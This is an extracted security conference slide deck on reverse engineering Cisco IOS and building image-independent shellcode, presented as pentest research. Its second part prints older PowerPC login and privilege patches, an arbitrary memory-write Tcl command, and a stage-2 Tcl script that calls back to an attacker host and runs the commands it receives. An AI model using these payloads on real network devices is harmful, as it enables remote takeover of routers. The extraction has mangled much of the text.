53
CISCO IOS SHELLCODE: ALL-IN-ONE George Nosenko [email protected]

CISCO IOS SHELLCODE: ALL-IN-ONE · CISCO IOS SHELLCODE: ALL-IN-ONE Prior works AUacking Network Embedded System Felix ‘FX’ Lindner 2002 The Holy Grail Cisco IOS Shellcode And

  • Upload
    others

  • View
    127

  • Download
    4

Embed Size (px)

Citation preview

CISCO IOS SHELLCODE: ALL-IN-ONE

George Nosenko [email protected]

CISCO IOS SHELLCODE: ALL-IN-ONE

GeorgeNosenko•   SecurityresearcheratDigitalSecurity

•   BugHunter•   ExploitDeveloper

CISCO IOS SHELLCODE: ALL-IN-ONE

Agenda

Part2:CiscoIOSShellcoding•   MoEvaEon•   MainProblems•   Image-independetShellcodes§ DisassemblingShellcode§  Interrupt-HijackShellcode

•   TclShellcode§  Howdoesitwork?§  Features§  LimitaEons§  Howisitmade?

Part1:CiscoIOSReverseEngineering•   MainProblem•   Subsystem•   Registry•   Processes•   GlueCode/SimpleCode/DeadCode•   CommandParser•   Whereislibc?•   Other•   HowtodebugCiscoIOS•   HowtodebugCiscoIOSXE

CISCO IOS SHELLCODE: ALL-IN-ONE

Prior works

AUackingNetworkEmbeddedSystemFelix‘FX’Lindner2002TheHolyGrailCiscoIOSShellcodeAndExploitaEonTechniquesMichaelLynn2005

CiscoIOSShellcodesGyanChawdhary,VarunUppal2007RemoteCiscoIOSFTPExploitAndyDavis2007

KillingthemythofCiscoIOSrootkits:DIKSebasEanMuniz2008CiscoIOS-AUack&Defense.TheStateoftheArtFelix’FX’Lindner2008

RouterExploitaEonFelix’FX’Lindner2009FuzzingandDebuggingCiscoIOSSebasEanMuniz,AlfredoOrtega2011

KillingtheMythofCiscoIOSDiversityAngCui,JaEnKataria,SalvatoreJ.Stolfo2011

ResearchonCiscoIOSSecurityMechanismsXiaoyanSua2011CiscoIOSRootkitsandMalwareJasonNehrboss2012

SYNfulKnockACISCOIMPLANTBillHau,TonyLee,JoshHoman2015

CISCO IOS SHELLCODE: ALL-IN-ONE

Cisco Diversity Overview

OperaEonSystems

CiscoIOS

CiscoIOSXE(basedonLinux)

CiscoNX-OS(basedonLinux)

CiscoIOSXR(basedonQNX)

ASAOS(basedonLinux)

CatOS

Architectures

PowerPC(Book-E)

MIPS

Intelx86_x64Over300000uniqueimages

KillingtheMythofCiscoIOSDiversity

CISCO IOS SHELLCODE: ALL-IN-ONE

Part 1

CISCOIOSRE

CISCO IOS SHELLCODE: ALL-IN-ONE

Main problem

•   Designedasasingleunit-alarge,staEcallylinkedELFbinary•   Everythingishighlyintegratedandnon-modular•   ThereisnoAPI

Imagesize≈142MBFuncEons≈350000

IDADatabase≈2.5GBBinwalk≈100GB

CISCO IOS SHELLCODE: ALL-IN-ONE

Reverse in context

InsideCiscoIOSSoowareArchitectureVijayBollapragada,CCIE

CurEsMurphy,CCIERussWhite,CCIE

CiscoIOSProgrammer’sGuideArchitectureReference

SoowareRelease12.0FiohEdiEon

February1999

CISCO IOS SHELLCODE: ALL-IN-ONE

Unpacking Firmware

•   Theimagemaybeself-decompressing•   Theimagemaycontain:

§  loader§  driverforflash§  firmwareforaddiEonalhardware§  cerEficates

•   Binwalkwillworksuccessfully,butitgeneratesalargeoutput•   Toautomatetheanalysis,youneedtowriteanunpacker

KillingthemythofCiscoIOSrootkits:DIK

CISCO IOS SHELLCODE: ALL-IN-ONE

Trace strings

FuncEonnames

Tracestrings

CISCO IOS SHELLCODE: ALL-IN-ONE

Trace strings

defrename_funcs(strings=None,paUern=None):names=[sforsinstringsifre.search(paUern,str(s))isnotNone]fornameinnames:forrefinDataRefsTo(name.ea):old_name=GetFuncEonName(ref)func_addr=LocByNameEx(ref,old_name)iffunc_addr==BADADDRorhas_user_name(getFlags(func_addr)):breakMakeName(func_addr,str(name))breakif__name__=="__main__":rename_funcs(strings=Strings(),paUern=r'^[a-z]{3,}_[a-z]+_') ≈8.5%

CISCO IOS SHELLCODE: ALL-IN-ONE

Subsystems

struct subsystype_ { unsigned int magic1; unsigned int magic2; unsigned int header_version; unsigned int kernel_majversion; unsigned int kernel_minversion; char* namestring; unsigned int subsys_majversion; unsigned int subsys_minversion; unsigned int subsys_editversion; void* init_address; SUBSYSTEM_CLASS class; unsigned int id; char* properties[SUBSYS_MAX];

};

Router#showsubsys?classShowsubsystemsbyclassmemoryShowsubsystemsmemoryusagenameShowsubsystemsbynamerunningShowsubsysteminformationaboutrunningprocesses|Outputmodifiers<cr>Router#showsubsysNameClassVersioncefKernel1.000.000hw_api_trace_chainKernel1.000.001mtrieKernel2.000.001adj_trace_chainKernel1.000.001alarmKernel1.000.001arpKernel1.000.001arp_app_dataKernel1.000.001...

CISCO IOS SHELLCODE: ALL-IN-ONE

Subsystems

AlldatarelaEngtoasubsystemislocatedbelowtheheader

CISCO IOS SHELLCODE: ALL-IN-ONE

Subsystems

defcreate_subsytems(name='subsystype_'):forseginget_data_segment():foreainsearch(start=seg.startEA,end=seg.endEA,paUern='C15C0515C15C0515'):#itusesFindBinaryp_name,p_func,sysclass=Dword(ea+0x14),Dword(ea+0x24),Dword(ea+0x28)SetColor(p_func,CIC_FUNC,get_color_by_subsysclass(sysclass))func_name=GetString(p_name)iffunc_name=='':conEnueifnothas_user_name(getFlags(p_func)):print"ea:0x%x0x%x%s"%(ea,p_func,func_name)MakeNameAuto(p_func,func_name+'_subsys_init',SN_NOCHECK)

CISCO IOS SHELLCODE: ALL-IN-ONE

Registries and Services

•  Linker-independentmechanism

•  Serviceisaninterfaceintosubsystem

•  RegistryisacollecEonofservices

•  ServiceemulatescommonCconstruct(loop,switch,etc.)

•  8-12differenttypes

Router#showregistry--------------------------------------------CDP:96servicesCDP/1:Listlist[001]0x062E6F38...CDP/14:Casesize[000]list[003]default=0x05B4ED60return_void10x046D03BC20x046D04F430x046D05D4CDP/15:Valuesize[000]list[000]default=0CDP/16:Stub0x064F9230...CDP/21:Stub0x05B4ED64return_zero...CDP/38:Listlist[004]0x06B42A880x04D249700x067476800x06A0CB50...CDP/54:Looplist[005]0x06A859CC0x08CA07F00x087AC2280x07EF5CE80x084B034C...CDP/57:Retvalsize[000]list[000]default=0x046CB720...CDP:96services,440globalbytes,600heapbytes

[REG_NAME][NUM_SERVICE][TYPE](SUB)[ADDR]

≈7.4%

CISCO IOS SHELLCODE: ALL-IN-ONE

Process (is equivalent of a thread)

#include“sched.h”pid_tcfork(forkproc(*padd),longpp,intstack,char*name,intUynum);pid_tprocess_create(process_t(*padd),char*name,stack_size_tstack,process_priority_tpriority);...

result=process_create(bootload,“BootLoad”,LARGE_STACK,PRIO_NORMAL);if(result!=NO_PROCESS){

process_set_arg_num(result,loading);process_set_Uynum(result,startup_Uynum);

}

Router#showprocessesCPUutilizationforfiveseconds:2%/0%;oneminute:2%;fiveminutes:2%PIDQTyPCRuntime(ms)InvokeduSecsStacksTTYProcess1Cwe5B63990152119981225228/260000ChunkManager2Csp6DE55684837481122612/230000LoadMeter3Mwe44929A412182631028740/290000BGPScheduler4Mwe7A426D8011025748/260000Retransmission

CISCO IOS SHELLCODE: ALL-IN-ONE

Process. How to find a process_create() fast

Router#showmemoryprocessor|includeProcessAddressBytesPrevNextRefPrevFNextFAllocPCwhat12474BAC0000000160124737F812474C78001----------------08DF1798*Init*12474C78000000016012474BAC12474D44001----------------08DF1798*Init*...1247BD1800000042881247B7101247CE04001----------------0638C148TTYdata12483A5000000006881248398412483D2C001----------------05B9AFDCProcess...

•  Processisaninternalstructure(similartoPEB)•  Processisallocatedincfork()at05B9AFDC•  Acfork()iscalledinprocess_create()

CISCO IOS SHELLCODE: ALL-IN-ONE

Process

deffind_all_proocess(func=None,proc_name_reg='r4'):ea=func.startEAfori,refinenumerate(CodeRefsTo(ea,True)):proc_ep,proc_name=get_proc_entry_point(ref),get_proc_name(ref,dest_reg=proc_name_reg)ifproc_episNone:conEnueifhas_dummy_name(GetFlags(proc_ep)):ifMakeNameEx(proc_ep,proc_name,SN_NOWARN)==0:print'[!]%d:MakeNamefailedref=0x%x:0x%x,%s'%(i,ref,proc_ep,proc_name)SetColor(proc_ep,CIC_FUNC,COLOR)if__name__=='__main__':find_all_proocess(func=get_func(get_name_ea(BADADDR,'process_create'))

CISCO IOS SHELLCODE: ALL-IN-ONE

Glue Code / Simple Code / Dead Code .text:041AF174glue_sub_41AF174__memcpy:.text:041AF174.text:041AF1743D6008DFlisr11,[email protected]:041AF178396B5F24addir11,r11,[email protected]:041AF17C7D6903A6mtctrr11.text:041AF1804E800420bctr.text:041AF180#Endoffunctionglue_sub_41AF174__memcpy

.text:04110830get_value_at_wC0011F4_o110:

.text:04110830

.text:041108303D200C00lisr9,off_C0011F4@h

.text:04110834806911F4lwzr3,off_C0011F4@l(r9)

.text:0411083838630110addir3,r3,0x110

.text:0411083C4E800020blr

.text:0411083C#Endoffunctionget_value_at_wC0011F4_o110

.text:0412E5FCreturn_one:

.text:0412E5FC38600001lir3,1

.text:0412E6004E800020blr

.text:0412E600#Endoffunctionreturn_one

FindBinary(7D6903A64E800420)

FindBinary(386000014E800020)

FindBinary(3D20????8069????3863????4E800020)

≈19%

CISCO IOS SHELLCODE: ALL-IN-ONE

Command Parser Tree

•  Locatedunderthesubsystemheader

•  NodecontainsdifferentinformaEondependingonthetype

•  Therootnodehastype=0x56

struct tree_node {

tree_node* right; tree_node* left; unsigned int type; payload* data; unsigned int unknown;

};struct payload_cmd {

char* name; char* description; ... permission priv; ...

}; struct payload_handler {

void* handler; void* arg; ...

};

type = 0x1A

type = 0x45

type = 0x56 payload = 0x1A1A1A1A

CISCO IOS SHELLCODE: ALL-IN-ONE

Where is libc?

•  Inmycase,libcislocatedatendofthecodein.text

•  libcisalayeroverOSservice(prin�,fopen,socket,malloc…)

•  libcisacollecEonofbasefuncEons(memcpy,strcpy,stncat…)

•  AbasefuncEonisasimplecodei.e.

hasaliUlecycloma6ccomplexity

LookforallsimplefuncEonsaroundtheendofthecode

CISCO IOS SHELLCODE: ALL-IN-ONE

Magic People, Voodoo People!

Process0xBEEFCAFE-ProcessBlock

Memory

0xAB1234CD-HeapBlock0xFD0110DF-RedZone0xDEADB10B-Pool0xAFACEFAD-Packet

Other

0x1A1A1A1A-ParserRootNode0xABABABAB-TCPsocket(TCB)0xDEADCODE-Invalidinterrupthandler

Image/Boot/Codesigning0xFEEDFACE-Envelopeheader0xBAD00B1E-FlashDriver(atafslib)0xBEEFCAFE-KeyRecordInfo

CISCO IOS SHELLCODE: ALL-IN-ONE

Cisco Discovery

Router#showprocesses?cpuShowCPUuseperprocessmemoryShowmemoryuseperprocess

Router#showmemory?allocating-processShowallocatingprocessnameioIOmemorystatsprocessorProcessormemorystatssummarySummaryofmemoryusageperallocPCtransient

Router#showstack1Process1:ChunkManagerStacksegment0x1247D30C-0x1248389CFP:0x12483860,RA:0x5B9CBFCFP:0x12483888,RA:0x5B63994FP:0x12483890,RA:0x6DEEFA0FP:0x0,RA:0x6DE8834

Router#showbuffersall?dumpShowbufferheaderandalldataheaderShowbufferheaderonlypacketShowbufferheaderandpacketdatapoolBuffersinaspecifiedpool

Router#showlistListManager:10944listsknown,5907113listscreatedIDAddressSize/MaxName1FA7CA3010/-RegionList2E9C95601/-I/O3E9C85D02/-Processor

Router#showtcpbriefallTCBLocalAddressForeignAddress(state)57B455EC0.0.0.0.64999*.*LISTEN56FAD21C0.0.0.0.34154*.*LISTENRouter#showipsockets

Router#showversionRouter#showtech-supportRouter#showinventoryRouter#showmoduleRouter#showregionRouter#showmoduleRouter#showplatformhardwaretlb

CISCO IOS SHELLCODE: ALL-IN-ONE

Debugging under Cisco IOS

Router>enableRouter#gdbkernel

•   CiscoIOScontainsaGDBserver,but…

•   Itdoesn’tworkwithagenericGDBclientLbecausetheRSPprotocolisaliUledifferent

•   Youcan:useROMMON;patcholdGDB;useIODIDE;createanadapterforIDAPro.

CISCO IOS SHELLCODE: ALL-IN-ONE

Debugging under Cisco IOS XE (3.3.5SE)

•   CiscoIOSdoesn’tcontainaGDBserver,but…•   Youcanbuild(staEc)gdbserverandGDBfortargetpla�orm•   ThencopygdbservertodeviceandgetLinuxShell

Switch>enableSwitch#configureterminalSwitch(config)#serviceinternalSwitch(config)#endSwitch#requestsystemshellActivitywithinthisshellcanjeopardizethefunctioningofthesystem.Areyousureyouwanttocontinue?[y/n]YChallenge:e2a41a61930e92d5da…Pleaseentertheshellaccessresponsebasedontheabovechallenge…aaa|/bin/true[Switch:/]$uname-aLinuxSwitch2.6.32.59-cavium-octeon2.cge-cavium-octeon…mips64GNU/Linux

•   AUachgdbservertoprocess“iosd”(flash:/mapat/mnt/sd3/user)

[Switch:/mnt/sd3/user/gdbservers]$./gdbserver.mips/dev/ttyS0--attach8566

CISCO IOS SHELLCODE: ALL-IN-ONE

Part 2

CISCOSHELLCODING

CISCO IOS SHELLCODE: ALL-IN-ONE

Motivation

OurpentestersooendealwithCiscoequipment,parEcularlywithbinaryvulnerabiliEes

Inpublic,thereisnoshellcodefortheneedsofpentesters

Weneedaflexibleandpowerfultool

CISCO IOS SHELLCODE: ALL-IN-ONE

Main problems / Earlier shellcode .equ ret, 0x804a42e8 # hardcode .equ login, 0x8359b1f4 # hardcode .equ god, 0xff100000 .equ priv, 0x8359be64 # hardcode main:

# login patch begin lis 9, login@ha la 9, login@l(9) li 8,0 stw 8, 0(9) # login patch end

# priv patch begin lis 9, priv@ha la 9, priv@l(9) lis 8, god@ha la 8, god@l(8) stw 8, 0(9) # priv patch end # exit code

lis 10, ret@ha addi 4, 10, ret@l mtctr 4 bctrl

•  ThereisnoopenAPIorsyscall’sforathirdpartydeveloper.SystemcallsaretheinterfaceintoROMMON

§  putcharinconsole§  reboot§  changeconfreg,etc

•  CiscoIOSBinaryDiversity

•  CiscoIOSishighlyintegrated(staEclinked)onebigELFwithoutanymodules(e.g.*.so)

CiscoIOSBindshellcodebyVarunUppalCiscoIOSConnectbackshellcodebyGyanChawdharyCiscoIOSShellcodes–BlackHatUSA2008

TinyshellcodebyGyanChawdhary

CISCO IOS SHELLCODE: ALL-IN-ONE

Image-independent shellcodes

1.  Signature-basedShellcodebyAndyDavis-Version-independentIOSshellcode,2008Invariantisastructureofcode

2.  DisassemblingShellcodebyFelix‘FX’Lindner-CiscoIOSRouterExplotaEon,2009Invariantisanuniquestring

3.  Interrupt-HijackShellcodebyColumbiaUniversityNY-KillingtheMythofCiscoIOSDiversity,2011InvariantisaninterrupthandlerrouEnes

AllleverageacommonCiscoIOSinvarianttoovercomeabinarydiversity

CISCO IOS SHELLCODE: ALL-IN-ONE

Disassembling Shellcode

.data

.textBasictechnique1.  Findauniquestringtodetermineitsaddress2.  Lookforacodewhichreferencesthisstring3.  PatchthefuncEon

Pros&Cons•  Reliable-itworksonawiderangeofCiscoequipment•  FullinteracEon,butitisnotacovert•  WehavetobeconstrainedbyonlyIOSshell•  MaycausewatchdogEmerexcepEonstobethrown,

whichterminatesandlogsalllongrunningprocesses

CiscoIOSRouterExplotaEon,2009KillingtheMythofCiscoIOSDiversity,2011

CISCO IOS SHELLCODE: ALL-IN-ONE

Interrupt-Hijack Shellcode

Two-stageaUackStage1:1.Unpackthesecond-stageshellcode

2.LocateERETinstrucEon3.Interceptallinterrupthandlers

Stage2:1.Receivecommandbylookingforincomingpacketswithspecificformat

2.ExecutecommandPros&Cons•  Fast,Stealth,HighPrivilege

•  CreateahiddenchanneloverICMP•  Ithasacomplexstructure,itoperatesasynchronously•  Itpresupposesadatabasecontainingtheimage-dependent

payloadtostage3

•  Rootkit-oriented

KillingtheMythofCiscoIOSDiversity,2011

Stage1

Stage2

CISCO IOS SHELLCODE: ALL-IN-ONE

Interesting fact about SYNful Knock

ItseemsthattheSYNfulKnockimplantworksinasimilarwayastheInterrupt-Hijackshellcodedoes

FireEye:SYNfulKnockACISCOIMPLANT

CISCO IOS SHELLCODE: ALL-IN-ONE

Requirements to our shellcode

•  ImageandCPUarchitectureshouldbeindependent•  WorksonawiderangeofCiscoequipment•  Pentest-oriented•  Themostpowerfulandflexible•  Sofastthatnottobecaughtbyawatchdog

CISCO IOS SHELLCODE: ALL-IN-ONE

Demo0x01

CISCO IOS SHELLCODE: ALL-IN-ONE

Tool Command Language

•   InventedbyJohnK.Ousterhout,Berkeley,1980shUp://www.tcl.tk

•   InterpretedLanguage,runEmeavailableformanypla�orms(socket,files,regexp,list,etc.)

•   TclhasbeenincludedinCiscoIOSasagenericscripEnglanguagesince2003(Release12.3(2)T)

•   InIOS,Tclisextendedbyspecialcommands:§  exec-executesanIOSshellcommand§  ios_config-changesconfiguraEon§  typeahead-emulatesauserinput§  etc.

•  TclPolicyforEmbeddedEventManager(EEM)CiscoFeatureNavigator

CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl and Pentesting

•  AlmosttheonlywaytoextendthefuncEonalityofCiscoIOS•  Tclscriptsareportablebetweendifferentpla�orms

BackdoorsCreaEngBackdoorsinCiscoIOSusingTcl

ToolsIOSMap:TCPandUDPPortScanningonCiscoIOSPla�ormsIOScat-aPortofNetcat'sTCPfuncEonstoCiscoIOS

MalwareIOSTrojan:Whoreallyownsyourrouter?CiscoIOSRootkitsandMalware(Hakin9Vol2No4)

MoreIdeas(TwiUerasCC,Bot,Flood,Exploit)AUackingwithCiscodevicesPH-Neutral2009AUackingwithCiscodevicesHashdays2010AUackingwithCiscodevicesHSLU2011CiscoSupportCommunity/EMMScripEng

ShellcodeFelix‘FX’LindnerfirstproposedtheuseofTclintheshellcodeCiscoIOSRouterExplotaEon

CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage11.  Determinethememorylayout2.  LookfortheTclsubsystemin.data3.  FindaTclCAPItablewithinthissubsystem4.  DetermineaddressesofallhandlersforTclIOS

commandextension5.  CreatenewTclcommands6.  CreatenewTclInterpreterbyusingTclCAPI7.  RunaTclscriptfrommemory

(scriptisintegratedinshellcode)Stage21.  Scriptconnectstothe“callback”server2.  EvaluateanyTclexpressionreceivedfromtheserver

ciscorouter

callbackserverlistenTCP(1337)

evilhost

Tcl

Txt

.text

Tcl_Iterp

shellcode

script

CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage11.  Determinethememorylayout2.  LookfortheTclsubsystemin.data3.  FindaTclCAPItablewithinthissubsystem4.  DetermineaddressesofallhandlersforTclIOS

commandextension5.  CreatenewTclcommands6.  CreatenewTclInterpreterbyusingTclCAPI7.  RunaTclscriptfrommemory

(scriptisintegratedinshellcode)Stage21.  Scriptconnectstothe“callback”server2.  EvaluateanyTclexpressionreceivedfromtheserver

ciscorouter

callbackserverlistenTCP(1337)

evilhost

Tcl

Txt

.text

Tcl_Iterp

shellcode

script

CISCO IOS SHELLCODE: ALL-IN-ONE

Determine the memory layout

MoEvaEon•  ToreducethesearchEme•  NottocauseanaccessviolaEon

Router#showplatformhardwaretlbVirtAddressrangePhyAddressrangeW-I-M-G-E-SAttrTSESEL============================================================================0xFF000000-0xFFFFFFFF0x0_FF000000-0x0_FFFFFFFF1-1-0-1-0-0RWX0(0)...0x04000000-0x07FFFFFF0x0_04000000-0x0_07FFFFFF0-0-1-0-0-0RWX0(5)0x08000000-0x0BFFFFFF0x0_08000000-0x0_0BFFFFFF0-0-1-0-0-0R-X0(6)0x0C000000-0x0FFFFFFF0x0_0C000000-0x0_0FFFFFFF0-0-1-0-0-0RW-0(7)...

•  HavetousetheSystemPurposeRegisters(SPR)•  Thismethoddependsontheprocessorarchitecture•  Wecanskipthisstep•  BecauseourshellcodeisdevelopedinC,it'snotabig

problem

CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage11.  Determinethememorylayout2.   LookfortheTclsubsystemin.data3.  FindaTclCAPItablewithinthissubsystem4.  DetermineaddressesofallhandlersforTclIOS

commandextension5.  CreatenewTclcommands6.  CreatenewTclInterpreterbyusingTclCAPI7.  RunaTclscriptfrommemory

(scriptisintegratedinshellcode)Stage21.  Scriptconnectstothe“callback”server2.  EvaluateanyTclexpressionreceivedfromtheserver

ciscorouter

callbackserverlistenTCP(1337)

evilhost

Tcl

Txt

.text

Tcl_Iterp

shellcode

script

CISCO IOS SHELLCODE: ALL-IN-ONE

Looking for the Tcl subsystem

MoEvaEon•  ToreducethesearchEme•   AlldatarelaEngtotheTclsubsystemislocatedbelowtheheader•   AllfuncEonsrelaEngtheTclsubsystemislocatedwithintcl_subsys_init

•  LocateallsubsystemsbysignatureC15C0515C15C0515•  FindtheTclsubsystembyname“tcl”

subsystype_<0xC15C0515,0xC15C0515,1,0,0,"tcl",2,0,1,tcl_subsys_init,Library,0,0,0>

CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage11.  Determinethememorylayout2.  LookfortheTclsubsystemin.data3.   FindaTclCAPItablewithinthissubsystem4.  DetermineaddressesofallhandlersforTclIOS

commandextension5.  CreatenewTclcommands6.  CreatenewTclInterpreterbyusingTclCAPI7.  RunaTclscriptfrommemory

(scriptisintegratedinshellcode)Stage21.  Scriptconnectstothe“callback”server2.  EvaluateanyTclexpressionreceivedfromtheserver

ciscorouter

callbackserverlistenTCP(1337)

evilhost

Tcl

Txt

.text

Tcl_Iterp

shellcode

script

CISCO IOS SHELLCODE: ALL-IN-ONE

Find Tcl C API Table

TclCAPI•  usedforembedding•  usedforextending•  TclAPI

•  Toabstractthespecificsofthepla�orm,afuncEon’spointertabletclStubsisused

•  WecangetaddressoftclStubsbylookingforthesignature0xFCA3BACF

#defineTCL_STUB_MAGIC0xFCA3BACFTclStubstclStubs={

TCL_STUB_MAGIC,&tclStubHooks,Tcl_PkgProvideEx, /*0*/Tcl_PkgRequireEx, /*1*/Tcl_Panic, /*2*/...Tcl_CreateCommand, /*91*/Tcl_CreateInterp, /*94*/Tcl_DeleteInterp, /*110*/Tcl_Eval, /*129*/Tcl_Exit, /*133*/...

}

CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage11.  Determinethememorylayout2.  LookfortheTclsubsystemin.data3.  FindaTclCAPItablewithinthissubsystem4.  DetermineaddressesofallhandlersforTclIOS

commandextension5.  CreatenewTclcommands6.  CreatenewTclInterpreterbyusingTclCAPI7.  RunaTclscriptfrommemory

(scriptisintegratedinshellcode)Stage21.  Scriptconnectstothe“callback”server2.  EvaluateanyTclexpressionreceivedfromtheserver

ciscorouter

callbackserverlistenTCP(1337)

evilhost

Tcl

Txt

.text

Tcl_Iterp

shellcode

script

CISCO IOS SHELLCODE: ALL-IN-ONE

Determine address of a handler for an extension

MoEvaEon•  WewanttousetheTclIOSextensions

•  Wealreadyhave(intclStubs)theaddressofTcl_CreateCommand

•  So,wecanlocatealltheplaceswhereitiscalled

•  Thenwecangetthehandler’saddressandthenameofextensionbydisassembling

Tcl_CommandTcl_CreateCommand_(Tcl_Interp*interp,char*cmdName,dTcl_CmdProc*proc,ClientDataclientData,Tcl_CmdDeleteProc*deleteProc);

3C800994lisr4,aIos_config@h#"ios_config"3CA005A7lisr5,ios_config@ha38841244addir4,r4,aIos_config@l#cmdName38A5DF0Caddir5,r5,ios_config@l#cmdProc38C00000lir6,0#clientData38E00000lir7,0#deleteProc7FE3FB78mrr3,r31#interp48010F8DblTcl_CreateCommand

CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage11.  Determinethememorylayout2.  LookfortheTclsubsystemin.data3. FindaTclCAPItablewithinthissubsystem4.  DetermineaddressesofallhandlersforTclIOS

commandextension5.   CreatenewTclcommands6.  CreatenewTclInterpreterbyusingTclCAPI7.  RunaTclscriptfrommemory

(scriptisintegratedinshellcode)Stage21.  Scriptconnectstothe“callback”server2.  EvaluateanyTclexpressionreceivedfromtheserver

ciscorouter

callbackserverlistenTCP(1337)

evilhost

Tcl

Txt

.text

Tcl_Iterp

shellcode

script

CISCO IOS SHELLCODE: ALL-IN-ONE

Create your own Tcl command

intwmem(void*clientData,void*interp,intargc,char**argv)//wmemaddrvalue{

Interp*iPtr=(Interp*)interp;unsignedint*ptr=NULL;unsignedintvalue=0;

if(argc!=3){iPtr->stubTable->tcl_AppendResult(interp,"wrongargs",(char*)NULL);returnTCL_ERROR;}if(iPtr->stubTable->tcl_GetInt(interp,argv[1],&ptr)!=TCL_OK)returnTCL_ERROR;if(iPtr->stubTable->tcl_GetInt(interp,argv[2],&value)!=TCL_OK)returnTCL_ERROR;

*ptr=value; //writetoanarbitraryaddress

returnTCL_OK;}

CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage11.  Determinethememorylayout2.  LookfortheTclsubsystemin.data3.  FindaTclCAPItablewithinthissubsystem4.  DetermineaddressesofallhandlersforTclIOS

commandextension5.  CreatenewTclcommands6.   CreatenewTclInterpreterbyusingTclCAPI7.   RunaTclscriptfrommemory

(scriptisintegratedinshellcode)Stage21.  Scriptconnectstothe“callback”server2.  EvaluateanyTclexpressionreceivedfromtheserver

ciscorouter

callbackserverlistenTCP(1337)

evilhost

Tcl

Txt

.text

Tcl_Iterp

shellcode

script

CISCO IOS SHELLCODE: ALL-IN-ONE

Run Tcl script from memory / Eval^2

voidshellcode(){...

Tcl_Interp*interp=Tcl_CreateInterp();Tcl_CmdProc*tcl_exec=find_Tcl_command(subsys->init_address,1MB,"exec",

Tcl_CreateCommand);if(tcl_exec!=NULL){

Tcl_CreateCommand(interp,"exec",tcl_exec,0,0);}Tcl_CreateCommand(interp,"wmem",wmem,0,0);constchar*script=#include"./tcl/stage2.tcl";Tcl_Eval(interp,script);

...}

#./tcl/stage2.tclsetsockid[socket"192.168.1.2"1337]while{1}{

flush$sockidsetline[gets$sockid]catch{eval$line}cmdresputs$sockid$cmdres

}close$sockid

CISCO IOS SHELLCODE: ALL-IN-ONE

Features / Properties / Limitations

ProperEes•  Image-independent•  It’seasytoporttootherCPUarchitecture•  ApproachcanbeappliedtoCiscoIOSXE•  Noneedtoworryaboutawatchdog•  Hijackaprocess

LimitaEons•  Tclisnoteverywhere•  TherelaEvelylargesize(2KB–2.5KB)•  WecannotcreateaTclserver•  Itusesanopenchannel(TCPconnecEon)

Features•  Wehaveashellwiththehighestlevelofprivileges•  Wecanworkwithfilesystemandsockets•  Wecanread/writememory:

•  tochangebehaviorofCiscoIOS•  toanalyzeIOMEM

AdvancedFeatures•  MacroCommand(e.g.createGREtunnel)•  AutomaEonofaUacks•  ReuseotherTCltools•  ROMMONTrojan

CISCO IOS SHELLCODE: ALL-IN-ONE

Demo0x02

CISCO IOS SHELLCODE: ALL-IN-ONE

Conclusion

CISCO IOS SHELLCODE: ALL-IN-ONE

TheEnd

[email protected]